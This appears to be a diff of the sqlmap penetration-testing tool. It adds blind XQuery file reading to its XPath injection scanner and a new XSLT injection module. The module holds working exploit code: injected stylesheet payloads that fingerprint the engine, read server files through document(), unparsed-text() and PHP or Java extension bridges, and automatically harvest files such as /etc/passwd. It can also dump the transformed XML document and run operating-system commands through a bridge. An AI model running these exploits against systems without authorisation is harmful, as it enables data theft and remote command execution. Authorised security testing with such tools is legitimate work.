logger.warning("no parameters found to test for SPARQL injection")
logger.info("SPARQL scan complete")
+2 -1
View File
@@ -257,7 +257,8 @@ def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count
caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of
rows, or None to let the caller fall back to the regular per-row UNION path. rows, or None to let the caller fall back to the regular per-row UNION path.
Same DBMS coverage as the single-shot JSON-agg (per-DBMS aggregate + windowing); others -> None. Covers the single-shot JSON-agg back-ends that also have a windowing form here (i.e. all of them
except Oracle and MSSQL, whose aggregates are built differently); others -> None.
""" """
dbms = Backend.getIdentifiedDbms() dbms = Backend.getIdentifiedDbms()
+141 -11
View File
@@ -11,7 +11,10 @@ import time
from collections import namedtuple from collections import namedtuple
from lib.core.common import beep from lib.core.common import beep
from lib.core.common import dataToOutFile
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import removeReflectiveValues
from lib.core.convert import getBytes
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
@@ -21,6 +24,7 @@ from lib.utils.nonsql import INCONCLUSIVE_MARK
from lib.utils.nonsql import userDecision from lib.utils.nonsql import userDecision
from lib.utils.nonsql import InconclusiveError from lib.utils.nonsql import InconclusiveError
from lib.utils.nonsql import resolveBit from lib.utils.nonsql import resolveBit
from lib.utils.nonsql import stripReflection
from lib.utils.nonsql import sqlErrorPresent from lib.utils.nonsql import sqlErrorPresent
from lib.utils.nonsql import blockedStatus from lib.utils.nonsql import blockedStatus
from lib.utils.nonsql import ratio as _ratio from lib.utils.nonsql import ratio as _ratio
@@ -32,6 +36,11 @@ from lib.core.settings import XPATH_ERROR_REGEX
from lib.core.settings import XPATH_ERROR_SIGNATURES from lib.core.settings import XPATH_ERROR_SIGNATURES
from lib.core.settings import XPATH_MAX_DEPTH from lib.core.settings import XPATH_MAX_DEPTH
from lib.core.settings import XPATH_MAX_LENGTH from lib.core.settings import XPATH_MAX_LENGTH
from lib.core.settings import XQUERY_CAPABILITY_PROBES
from lib.core.settings import XQUERY_FILE_READ
from lib.core.settings import XQUERY_FILE_HARVEST
from lib.core.settings import XQUERY_HARVEST_CHARS
from lib.core.settings import XQUERY_MAX_FILE_LENGTH
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.utils.xrange import xrange from lib.utils.xrange import xrange
@@ -152,6 +161,14 @@ def _send(place, parameter, value):
if conf.verbose >= 3: if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, code = Request.getPage(**kwargs) page, _, code = Request.getPage(**kwargs)
# Strip the payload back out before anyone compares pages. An endpoint that ECHOES the parameter
# differs between any two probes simply because the two payloads differ - which satisfies a
# true/false differential, and even the XPath-only confirm battery, without a single expression
# ever being evaluated. That reported XSLT (and plain reflective) endpoints as XPath-injectable.
# On a genuinely blind target the payload is not in the page, so this is a no-op.
# Two layers on purpose: sqlmap's scan-wide heuristic (which can switch itself off) AND a plain
# deterministic strip that cannot. See stripReflection().
page = stripReflection(removeReflectiveValues(page, value, suppressWarning=True), value)
# A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable # A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable
# oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence # oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence
# (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean # (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean
@@ -371,16 +388,20 @@ class _XPathPayloadBuilder(object):
def stringLengthAtLeast(self, target, n): def stringLengthAtLeast(self, target, n):
return self._make("string-length(%s)>=%d" % (target, n)) return self._make("string-length(%s)>=%d" % (target, n))
def charPresent(self, target, pos): def charPresent(self, target, pos, literal=None):
# True when the character at 1-based position `pos` of `target` belongs to # True when the character at 1-based position `pos` of `target` belongs to
# the known ordered charset (so its index can be resolved by bisection). # the known ordered charset (so its index can be resolved by bisection).
return self._make("contains(%s,substring(%s,%d,1))" % (_CS_LITERAL, target, pos)) return self._make("contains(%s,substring(%s,%d,1))" % (literal or _CS_LITERAL, target, pos))
def charIndexAtLeast(self, target, pos, n): def charIndexAtLeast(self, target, pos, n, literal=None):
# The 0-based index of a charset member equals the length of the charset # The 0-based index of a charset member equals the length of the charset
# prefix preceding it (XPath 1.0 has no lexicographic '<', but # prefix preceding it (XPath 1.0 has no lexicographic '<', but
# string-length(substring-before(...)) yields a number we can bisect on). # string-length(substring-before(...)) yields a number we can bisect on).
return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n)) return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (literal or _CS_LITERAL, target, pos, n))
def predicate(self, expression):
"""Send an arbitrary boolean expression through the verified boundary (XQuery capability probes)."""
return self._make(expression)
def _makeOracle(place, parameter, boundary, base): def _makeOracle(place, parameter, boundary, base):
@@ -522,7 +543,7 @@ def _inferCount(oracle, builder, path, countFn, maxCount=128):
return None return None
def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH, ords=None, literal=None):
"""Blindly recover the string value of XPath expression `target` (e.g. """Blindly recover the string value of XPath expression `target` (e.g.
"name(/*)" or "string(/*[1]/@*[1])") using binary search. "name(/*)" or "string(/*[1]/@*[1])") using binary search.
@@ -547,10 +568,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
chars = [] chars = []
probes = 0 probes = 0
last = len(_CS_ORDS) - 1 ords = ords or _CS_ORDS
last = len(ords) - 1
for pos in xrange(1, length + 1): for pos in xrange(1, length + 1):
probes += 1 probes += 1
if not oracle.extract(builder.charPresent(target, pos)): if not oracle.extract(builder.charPresent(target, pos, literal)):
chars.append("?") chars.append("?")
continue continue
@@ -558,11 +580,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
while clo < chi: while clo < chi:
cmid = (clo + chi + 1) // 2 cmid = (clo + chi + 1) // 2
probes += 1 probes += 1
if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)): if oracle.extract(builder.charIndexAtLeast(target, pos, cmid, literal)):
clo = cmid clo = cmid
else: else:
chi = cmid - 1 chi = cmid - 1
chars.append(chr(_CS_ORDS[clo])) chars.append(chr(ords[clo]))
except InconclusiveError: except InconclusiveError:
# abort this value rather than emit a length/char chosen from an ambiguous bit # abort this value rather than emit a length/char chosen from an ambiguous bit
logger.warning("XPath string inference aborted (oracle inconclusive after retries)") logger.warning("XPath string inference aborted (oracle inconclusive after retries)")
@@ -573,6 +595,68 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
return value or None return value or None
# File content carries bytes the XML-tree charset deliberately excludes (tab, newline, quotes, angle
# brackets). Recovering a file with those replaced by '?' would be worse than useless, so a file read gets
# its own charset. Tab and newline are produced with fn:codepoints-to-string() rather than an XML
# character reference: the payload travels in a query-string parameter, where a literal '&' would split
# it into two parameters. This literal is only ever used on the XQuery path, where the function exists.
_FILE_ORDS = [0x09, 0x0a] + [_ for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1)]
# Built entirely from codepoints rather than a quoted string: the charset contains ', ", & and < , each of
# which is either illegal bare in an XQuery string literal ('&' -> "Invalid entity") or would need
# escaping that survives URL transport. fn:codepoints-to-string() takes the whole sequence and has none of
# those hazards.
_FILE_LITERAL = "codepoints-to-string((%s))" % ",".join(str(_) for _ in _FILE_ORDS)
def _probeXQuery(oracle, builder):
"""True when the injected expression reaches an XQuery / XPath 2.0+ processor rather than an XPath 1.0
one. Each probe calls a function that does not exist in 1.0, so a positive answer is a capability the
engine demonstrated - not an inference from an error string or a version banner.
A second, NEGATIVE control matters here: an oracle that answers TRUE to everything would otherwise be
read as 'XQuery'. The false control must come back false for the verdict to stand."""
try:
if oracle.extract(builder.predicate("string-join(('a','b'),'')='zz'")):
return False # answers true to a FALSE probe -> oracle is not discriminating
for probe in XQUERY_CAPABILITY_PROBES:
if oracle.extract(builder.predicate(probe)):
return True
except InconclusiveError:
return False
return False
def _xqueryFileRead(oracle, builder, path, quiet=False, maxLen=XQUERY_MAX_FILE_LENGTH):
"""Recover a text file through fn:unparsed-text() using the same blind bisection that walks the XML
tree - the boundary is already proven, so this needs no new oracle. `quiet` suppresses the
not-readable notice, because the proactive harvest expects most of its paths to be absent."""
target = XQUERY_FILE_READ % _xpathQuote(path)
try:
if not oracle.extract(builder.predicate("string-length(%s)>0" % target)):
if not quiet:
logger.warning("XQuery file read: '%s' is empty or not readable" % path)
return None
except InconclusiveError:
return None
return _inferString(oracle, builder, target, maxLen=maxLen,
ords=_FILE_ORDS, literal=_FILE_LITERAL)
def _dumpFileRead(remoteFile, content):
"""Save an XQuery-read file to the output directory (parity with '--file-read')."""
try:
localPath = dataToOutFile(remoteFile, getBytes(content))
except Exception as ex:
logger.debug("could not save the XQuery-read file to disk: %s" % getUnicode(ex))
localPath = None
if localPath:
conf.dumper.rFile([localPath])
else:
conf.dumper.singleString("XQuery file read ('%s'):\n%s" % (remoteFile, content))
def _walkTree(oracle, builder, path="/*", depth=0): def _walkTree(oracle, builder, path="/*", depth=0):
"""Recursively walk the XML tree from a given XPath expression. """Recursively walk the XML tree from a given XPath expression.
Returns a dict: {name, path, children, attributes, text} or None.""" Returns a dict: {name, path, children, attributes, text} or None."""
@@ -799,8 +883,54 @@ def xpathScan():
logger.info("identified back-end: '%s'" % backend) logger.info("identified back-end: '%s'" % backend)
slot = slot._replace(backend=backend) slot = slot._replace(backend=backend)
title = "XPath boolean-based blind" # An XQuery/XPath-2.0+ processor accepts the same boundary but a far larger language, so say so and
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload)) # use it: fn:unparsed-text() turns the proven boolean oracle into a file-read primitive.
isXQuery = _probeXQuery(oracle, builder)
if isXQuery:
logger.info("the back-end evaluates XQuery / XPath 2.0+ (fn:string-join, fn:matches, fn:unparsed-text are available)")
if slot.backend in (None, "Generic XPath"):
slot = slot._replace(backend="Generic XQuery / XPath 2.0+")
title = "XQuery boolean-based blind" if isXQuery else "XPath boolean-based blind"
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: %s injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, "XQuery" if isXQuery else "XPath", title, slot.parameter, slot.payload))
if isXQuery:
# A confirmed XQuery back-end is exploited automatically, like every other non-SQL engine: the
# tree walk below is the data dump, and fn:unparsed-text() is the file-read impact. An explicit
# '--file-read' overrides the harvest and is honoured verbatim instead.
if conf.fileRead:
logger.info("reading file '%s' through fn:unparsed-text()" % conf.fileRead)
content = _xqueryFileRead(oracle, builder, conf.fileRead)
if content:
logger.info("XQuery file read succeeded (%d characters)" % len(content))
_dumpFileRead(conf.fileRead, content)
else:
logger.warning("XQuery file read of '%s' failed" % conf.fileRead)
else:
# Readability is PROVED across the list for about one request per path, then a short
# prefix is sampled from the first hit. Extracting every file would cost thousands of
# bisection round-trips - impact is established by reading a file at all, not by volume.
logger.info("probing which files are readable through fn:unparsed-text()")
readable = []
for path in XQUERY_FILE_HARVEST:
try:
if oracle.extract(builder.predicate("string-length(%s)>0" % (XQUERY_FILE_READ % _xpathQuote(path)))):
readable.append(path)
logger.info("'%s' is readable" % path)
except InconclusiveError:
break
if readable:
sample = _xqueryFileRead(oracle, builder, readable[0], quiet=True, maxLen=XQUERY_HARVEST_CHARS)
if sample:
logger.info("read the first %d characters of '%s'" % (len(sample), readable[0]))
_dumpFileRead(readable[0], sample)
conf.dumper.singleString("XQuery: readable through fn:unparsed-text():\n%s"
% "\n".join(" %s" % _ for _ in readable))
logger.info("use '--file-read' to pull one of these in full")
else:
logger.info("no file could be read automatically through fn:unparsed-text()")
elif conf.fileRead:
logger.warning("'--file-read' needs an XQuery / XPath 2.0+ back-end; this one is XPath 1.0 only")
# Blind XML tree-walking (attempted document-root traversal) # Blind XML tree-walking (attempted document-root traversal)
logger.info("walking XML document tree (depth limit: %d)" % XPATH_MAX_DEPTH) logger.info("walking XML document tree (depth limit: %d)" % XPATH_MAX_DEPTH)
+8
View File
@@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
pass
+682
View File
@@ -0,0 +1,682 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
"""
XSLT injection ('--xslt').
An application that builds a stylesheet by concatenating user input hands over a whole transformation
language, not just a value. The tiers are ordered by what each one PROVES, not by how spectacular it is:
T1 system-property('xsl:vendor') the engine names itself in the response - a fingerprint, and the
strongest evidence that the input really is compiled as XSLT
T2 <xsl:value-of select="..."> arbitrary XPath evaluated and reflected in-band
T3 malformed select parser error naming the engine (reaches targets with fixed output)
T4 document('file:///...') file read, plus unparsed-text() where the engine is XSLT 2.0+
Blind out-of-band (document('http://collector/')) is NOT implemented yet; it would reuse the collector
'--xxe' already has, but nothing here drives it, so a target with no in-band or error surface is out of
reach for now.
The ELEMENT slot and the VALUE slot are different surfaces and are probed separately: input landing
between elements can introduce whole XSLT instructions, while input landing inside select="..." can only
carry an XPath expression. Nothing is inferred from a payload merely "looking like" it worked - every
tier is confirmed by a per-run random sentinel or by a value the application cannot produce by itself.
Once an injection is confirmed in the ELEMENT slot, sqlmap also probes the processor's extension bridges
(PHP php:function, Xalan java:) - each confirmed by a deterministic self-check, never by the unreliable
function-available(). A confirmed read bridge gives arbitrary file read even on an XSLT 1.0 engine, where
document() only loads XML and unparsed-text() is unavailable, so it is used for the automatic harvest and
for '--file-read'. Command execution through a bridge runs only under '--os-cmd' / '--os-shell', exactly
like the SQL and SSTI takeover. File WRITE (EXSLT exsl:document) and saxon:eval are reported but never
driven - a write is destructive and belongs to '--file-write'.
"""
import re
import time
from collections import namedtuple
from lib.core.common import beep
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.common import urldecode
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import PLACE
from lib.core.settings import XSLT_ERROR_REGEX
from lib.core.settings import XSLT_ERROR_SIGNATURES
from lib.core.settings import XSLT_MAX_FILE_LENGTH
from lib.core.settings import XSLT_MAX_HARVEST
from lib.core.settings import XSLT_XML_HARVEST
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XSLT_BRIDGES
from lib.core.settings import XSLT_BRIDGE_PHP
from lib.core.settings import XSLT_BRIDGE_JAVA
from lib.core.settings import XSLT_ADVISORY_PROBES
from lib.core.settings import XSLT_VENDOR_PROPERTIES
from lib.request.connect import Connect as Request
# NOT lib.core.common.urlencode: that one keeps '&', '=' and '%' safe by design, which is exactly what
# has to be escaped here. Imported under a distinct name because _quote() below is the XPath literal.
from thirdparty.six.moves.urllib.parse import quote as _urlquote
SENTINEL = randomStr(length=10, lowercase=True)
# The sentinel is emitted as TWO adjacent literals that only become one string once concat() actually
# runs. An application that merely echoes the parameter reflects "'ab','cd'" - quotes and comma intact -
# so the joined marker "abcd" never appears, while a real transform emits it. Without this the marker sits
# verbatim in the payload and any echo endpoint matches, which reported a plain search page as vulnerable
# and then "read" /etc/shadow out of its own reflected payload.
def _marks():
half = len(SENTINEL) // 2
return SENTINEL[:half], SENTINEL[half:]
XSLT_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
# Where the injected text lands inside the stylesheet. They need different payloads, so the probe order
# below tries the richer one first and falls back.
CONTEXT_ELEMENT = "element" # between elements: whole XSLT instructions can be introduced
CONTEXT_VALUE = "value" # inside an attribute value: an XPath expression only
Slot = namedtuple("Slot", ("place", "parameter", "context", "vendor", "payload"))
def _delim(place):
return conf.paramDel or (';' if place == PLACE.COOKIE else '&')
def _originalValue(place, parameter):
# decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text
# and the untouched baseline probe reproduces exactly what the application originally received
for pair in (conf.parameters.get(place) or "").split(_delim(place)):
if '=' in pair:
name, _, value = pair.partition('=')
if name.strip() == parameter:
return urldecode(value, convall=True)
return None
def _replaceSegment(place, parameter, value):
retVal = []
for pair in (conf.parameters.get(place) or "").split(_delim(place)):
if '=' in pair:
name, _, old = pair.partition('=')
retVal.append("%s=%s" % (name, value if name.strip() == parameter else old))
elif pair:
retVal.append(pair)
return _delim(place).join(retVal)
def _send(place, parameter, value):
"""One request with the target parameter set to `value`, reusing sqlmap's request machinery so the
URL, cookies, headers, proxy and delay all behave exactly as in a normal run.
The value is URL-encoded (as '--ssti' already does). A stylesheet payload is XML, so it legitimately
carries '&' - both as an XML entity (&amp;/&quot;, see _attr) and inside a command or path - and a
raw '&' in a GET value is the parameter delimiter, which would split the request and deliver a
truncated stylesheet."""
if conf.delay:
time.sleep(conf.delay)
saved = conf.parameters.get(place, "")
conf.parameters[place] = _replaceSegment(place, parameter, _urlquote(value, safe=""))
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, _ = Request.getPage(raise404=False, silent=True)
return page
except Exception as ex:
logger.debug("XSLT probe request failed: %s" % getUnicode(ex))
return None
finally:
conf.parameters[place] = saved
def _isError(page):
return bool(page) and re.search(XSLT_ERROR_REGEX, getUnicode(page)) is not None
def _vendorFromError(page):
for vendor, regex in XSLT_ERROR_SIGNATURES:
if re.search(regex, getUnicode(page or "")):
return vendor
return None
def _echoed(page, needle):
return bool(page) and needle in getUnicode(page)
def _attr(expression):
"""Escape an XPath expression for the XML ATTRIBUTE it is about to land in.
Every slot ends up inside select="...", and XPath 1.0 has no escape character - so _quote() has to
fall back to double quotes for a value containing an apostrophe, and those quotes TERMINATE the
attribute. The stylesheet then fails to compile and the whole probe silently returns nothing:
'--os-cmd="echo \'hi\'"' reported "no output captured", and '--file-read' of a path holding an
apostrophe or an '&' failed against real libxslt while the same file at a plain path read fine.
'>' is legal inside an attribute value and is left alone, so a shell redirect stays readable."""
return (getUnicode(expression).replace("&", "&amp;")
.replace("<", "&lt;")
.replace('"', "&quot;"))
def _valuePayload(expression):
"""An XPath expression for the VALUE slot: the input already sits inside select="...", so only the
expression itself is injected."""
return _attr(expression)
# Conventional prefix for the XSLT namespace. A stylesheet must bind it to be a stylesheet at all; a
# sheet using a different prefix simply fails the element-slot probes and is found through the value slot.
_XSL_PREFIX = "xsl"
def _elementPayload(expression):
"""A whole <xsl:value-of> instruction for the ELEMENT slot. The stylesheet already binds the 'xsl'
prefix (it could not be a stylesheet otherwise), so the instruction compiles in place."""
return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, _attr(expression))
_BUILDERS = ((CONTEXT_ELEMENT, _elementPayload), (CONTEXT_VALUE, _valuePayload))
def _concat(*parts):
"""XPath 1.0 concat() over literals."""
return "concat(%s)" % ",".join(parts)
def _wrap(expression):
"""Wrap `expression` so its result arrives between two halves of the sentinel that only join when the
engine evaluates the concat (see _marks)."""
head, tail = _marks()
return _concat(_quote(head), _quote(tail), expression, _quote(head), _quote(tail))
def _captured(page, payload, span="1,120"):
"""The text an evaluated probe returned, or None.
Two independent conditions must hold, because either alone has been shown to be forgeable:
1. the page carries the JOINED sentinel, which only a real concat() can produce, and
2. the page does NOT carry the raw injected expression - a compiled transform emits its RESULT,
never its source text, so seeing the expression back means the input was reflected, not run.
"""
if not page:
return None
page = getUnicode(page)
if payload and getUnicode(payload) in page:
return None # reflected verbatim: nothing was evaluated
head, tail = _marks()
marker = re.escape(head + tail)
match = re.search(r"%s(.{%s}?)%s" % (marker, span, marker), page, re.DOTALL)
return match.group(1) if match else None
def _quote(value):
"""XPath 1.0 string literal. The language has no escape character, so a value containing both quote
kinds has to be assembled with concat() - and an unquotable path must not be silently mangled into a
payload that means something else."""
value = getUnicode(value)
if "'" not in value:
return "'%s'" % value
if '"' not in value:
return '"%s"' % value
parts = []
for index, chunk in enumerate(value.split("'")):
if index:
parts.append('"\'"')
if chunk:
parts.append("'%s'" % chunk)
return "concat(%s)" % ",".join(parts)
def _probeVendor(place, parameter, baseline):
"""T1: ask the engine to name itself. A response carrying SENTINEL+vendor+SENTINEL cannot be produced
by an application that merely echoes the parameter - the vendor string is the engine's own."""
for context, build in _BUILDERS:
for prop in XSLT_VENDOR_PROPERTIES:
payload = build(_wrap("system-property(%s)" % _quote(prop)))
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,120")
if captured is None:
continue
if captured.strip():
return context, captured.strip(), payload
# An EMPTY capture between the joined halves still proves concat() ran (this engine simply
# leaves the property unset), so it confirms execution without naming a vendor.
return context, None, payload
return None, None, None
def _probeEval(place, parameter, baseline):
"""T2: no vendor property came back, so prove evaluation with pure XPath arithmetic. The operands are
random per run, so the product exists nowhere in the application."""
a, b = randomStr(length=4, alphabet="123456789"), randomStr(length=4, alphabet="123456789")
expected = str(int(a) * int(b))
for context, build in _BUILDERS:
payload = build(_wrap("string(%s * %s)" % (a, b)))
captured = _captured(page=_send(place, parameter, payload), payload=payload)
if captured is not None and captured.strip() == expected:
return context, payload, "%s*%s=%s" % (a, b, expected)
return None, None, None
def _stable(place, parameter, value):
"""Send `value` twice and return the page only when both answers agree - a one-off difference is
noise, and detection built on noise is how a scanner invents findings."""
first = _send(place, parameter, value)
if first is None:
return None
second = _send(place, parameter, value)
if second is None:
return None
return first if getUnicode(first) == getUnicode(second) else None
def _probeCompile(place, parameter, baseline):
"""T3: prove the input is COMPILED as part of the stylesheet, for targets that reflect nothing.
The two slots are told apart by what breaks them, which is a property of XSLT rather than a guess:
inside select="..." a bare apostrophe leaves an unterminated literal and the stylesheet fails to
compile, whereas between elements the very same apostrophe is ordinary text and changes nothing. So a
bare quote that breaks the page means the VALUE slot; a slot that only breaks on a malformed
<xsl:value-of/> is the ELEMENT slot.
'Breaks' is satisfied either by a parser error (which also names the engine) or - where the
application swallows errors - by a reproducible difference from the untouched baseline. The latter is
the only tier that reaches a target with fixed output and no error surface."""
if baseline is None or _isError(baseline):
return None, None, None # no usable reference to compare against
# `or "x"` would replace an intentionally EMPTY parameter with a value it never had, so the
# baseline would not be the application's own
original = _originalValue(place, parameter)
original = "x" if original is None else original
# For BOTH slots the 'valid' form has to be one that leaves the page identical to the baseline. Using
# an instruction that EMITS a sentinel for the element slot made that condition unsatisfiable on every
# engine (a real one prints the sentinel, an echo reflects the instruction), so the whole element
# branch was unreachable and element slots with swallowed errors were silently missed.
for context, valid, broken, xpathy in (
(CONTEXT_VALUE, original, "%s'" % original, "concat(%s,'')" % original),
(CONTEXT_ELEMENT, original, '<%s:value-of select="\'"/>' % _XSL_PREFIX,
_elementPayload("substring('',1,0)")),
):
brokenPage = _stable(place, parameter, broken)
if brokenPage is None:
continue
if _isError(brokenPage):
return context, _vendorFromError(brokenPage) or "Generic XSLT", broken
# No error surface, so the DIFFERENCE is the only signal - and a difference alone proves nothing
# about XSLT. Any parser breaks on a stray apostrophe: a SQL string, an XQuery predicate, a shell
# word. Three conditions have to hold together before this counts:
# 1. the broken form changes the page,
# 2. the untouched form reproduces the baseline (so the parameter is not simply volatile),
# 3. an XPath FUNCTION CALL is accepted and behaves like the baseline - which a SQL or XQuery
# string context cannot do, because there the same text is just a literal that matches
# nothing and changes the page.
# Without (3) this tier would report XSLT injection on every quote-sensitive parameter.
if getUnicode(brokenPage) == getUnicode(baseline):
continue
validPage = _stable(place, parameter, valid)
if validPage is None or getUnicode(validPage) != getUnicode(baseline):
continue
if xpathy is not None:
xpathyPage = _stable(place, parameter, xpathy)
if xpathyPage is None or getUnicode(xpathyPage) != getUnicode(baseline):
continue
return context, "Generic XSLT", broken
return None, None, None
def _readFile(place, parameter, context, path, readers=("unparsed-text", "document"), bridges=()):
"""T4: read a file. A confirmed extension bridge (php:function / java:) is tried first because it
reaches ANY file on a 1.0 engine. Otherwise document() parses its target as XML, so a non-XML file
only surfaces through unparsed-text() (XSLT 2.0+). Whichever returns content wins."""
for bridge in bridges:
content = _bridgeRead(place, parameter, bridge, path)
if content and content.strip():
return content, "%s bridge" % bridge[0].split(" ")[0].lower()
build = dict(_BUILDERS)[context]
uri = path if "://" in path else "file:///%s" % getText(path).replace("\\", "/").lstrip("/")
candidates = [_ for _ in (("unparsed-text", "unparsed-text(%s)" % _quote(uri)),
("document", "string(document(%s))" % _quote(uri))) if _[0] in readers]
for _reader, expression in candidates:
payload = build(_wrap(expression))
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH)
if captured and captured.strip():
return captured[:XSLT_MAX_FILE_LENGTH], expression
return None, None
def _dumpSourceDocument(place, parameter, context):
"""Exfiltrate the XML document the stylesheet is transforming - the XSLT-native equivalent of the
'dump' the other non-SQL engines perform automatically. <xsl:copy-of select="/"/> serialises the whole
input tree, which is the actual application data the transformation was built to render."""
if context != CONTEXT_ELEMENT:
return None # a value slot can only carry an expression, and copy-of is an instruction
# copy-of is an instruction, not an expression, so the sentinel cannot be split through concat here.
# The reflection guard in _captured() is what keeps an echo endpoint from handing back its own
# <xsl:copy-of/> text as if it were the transformed document.
head, tail = _marks()
payload = "%s%s<%s:copy-of select=\"/\"/>%s%s" % (head, tail, _XSL_PREFIX, head, tail)
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH)
if captured and captured.strip() and "copy-of" not in captured:
return captured.strip()[:XSLT_MAX_FILE_LENGTH]
return None
def _harvestFiles(place, parameter, context, bridges=()):
"""Proactive, best-effort file harvest once the injection is CONFIRMED, the way the other non-SQL
engines auto-dump what they can reach: a user who reaches for '--xslt' should not have to know that
'--file-read' exists to see impact.
A confirmed bridge reads arbitrary text on any engine, so the plain-text targets (/etc/passwd etc.)
are harvested through it. Without one, the two portable readers cover different engines: unparsed-text()
takes any text file but needs XSLT 2.0+, while document() works on 1.0 (most of the installed base)
yet only loads well-formed XML. Content is de-duplicated so an engine that resolves every missing path
to the same stub cannot masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST."""
harvested = []
seen = set()
read = set()
# every confirmed bridge, not just the first: _readFile() already falls through all of them, and a
# bridge that fails on one path (permissions, a binary file) must not strand the rest of the harvest
plans = [(_, XXE_FILE_HARVEST) for _ in bridges] # arbitrary-text read on any engine
plans.append((None, XXE_FILE_HARVEST)) # unparsed-text() (XSLT 2.0+)
plans.append((None, XSLT_XML_HARVEST)) # document() (XSLT 1.0, XML only)
for bridge, paths in plans:
for path in paths:
if len(harvested) >= XSLT_MAX_HARVEST:
return harvested
if path in read:
continue # a later plan must not re-probe what an earlier one already returned
if bridge is not None:
content = _bridgeRead(place, parameter, bridge, path)
how = "%s bridge" % bridge[0].split(" ")[0].lower()
else:
reader = "unparsed-text" if paths is XXE_FILE_HARVEST else "document"
content, how = _readFile(place, parameter, context, path, readers=(reader,))
if not (content and content.strip()):
continue
read.add(path)
key = content.strip()
if key in seen:
continue
seen.add(key)
harvested.append((path, content, how))
return harvested
def _bridgeElementPayload(prefix, uri, expression):
"""An <xsl:value-of> that BINDS the extension namespace the bridge needs. Only the element slot can do
this - the value slot cannot introduce a namespace - so bridge exploitation is element-slot only. The
expression is sentinel-wrapped like every other probe, so an echo endpoint cannot forge the result."""
return '<%s:value-of xmlns:%s="%s" select="%s"/>' % (_XSL_PREFIX, prefix, uri, _attr(_wrap(expression)))
def _confirmBridge(place, parameter, bridge):
"""Confirm a bridge by EVALUATION, not by function-available() (which Xalan answers 'false' to while
the bridge works). The self-check transforms a per-run random input in a way the application cannot:
PHP reverses a marker, Xalan hex-encodes a random integer. The sentinel-split wrap defeats reflection,
and the transformed value defeats a lucky echo of the operand."""
_label, kind, prefix, uri, _readT, _execT = bridge
if kind == XSLT_BRIDGE_PHP:
marker = randomStr(length=8, lowercase=True)
expression = "php:function('strrev',%s)" % _quote(marker)
expected = marker[::-1]
elif kind == XSLT_BRIDGE_JAVA:
number = int(randomStr(length=6, alphabet="123456789"))
expression = "java:java.lang.Integer.toHexString(%d)" % number
expected = "%x" % number
else:
return False
payload = _bridgeElementPayload(prefix, uri, expression)
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,64")
return captured is not None and captured.strip() == expected
def _detectBridges(place, parameter, context):
"""The extension bridges confirmed working on this injection. Element slot only (a bridge needs its
namespace bound), so the value slot returns nothing."""
if context != CONTEXT_ELEMENT:
return []
return [bridge for bridge in XSLT_BRIDGES if _confirmBridge(place, parameter, bridge)]
def _bridgeRead(place, parameter, bridge, path):
"""Arbitrary file read through a confirmed bridge - unlike document() (XML only) and unparsed-text()
(XSLT 2.0+), this reaches any file the process can open, on a 1.0 engine."""
_label, _kind, prefix, uri, readT, _execT = bridge
expression = readT % _quote(getText(path))
payload = _bridgeElementPayload(prefix, uri, expression)
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH)
if captured and captured.strip():
return captured[:XSLT_MAX_FILE_LENGTH]
return None
def _bridgeExec(place, parameter, bridge, command):
"""Run one OS command through a confirmed exec bridge and return its captured stdout, or None. Only
reached under --os-cmd / --os-shell."""
_label, _kind, prefix, uri, _readT, execT = bridge
if not execT:
return None
payload = _bridgeElementPayload(prefix, uri, execT % _quote(getText(command)))
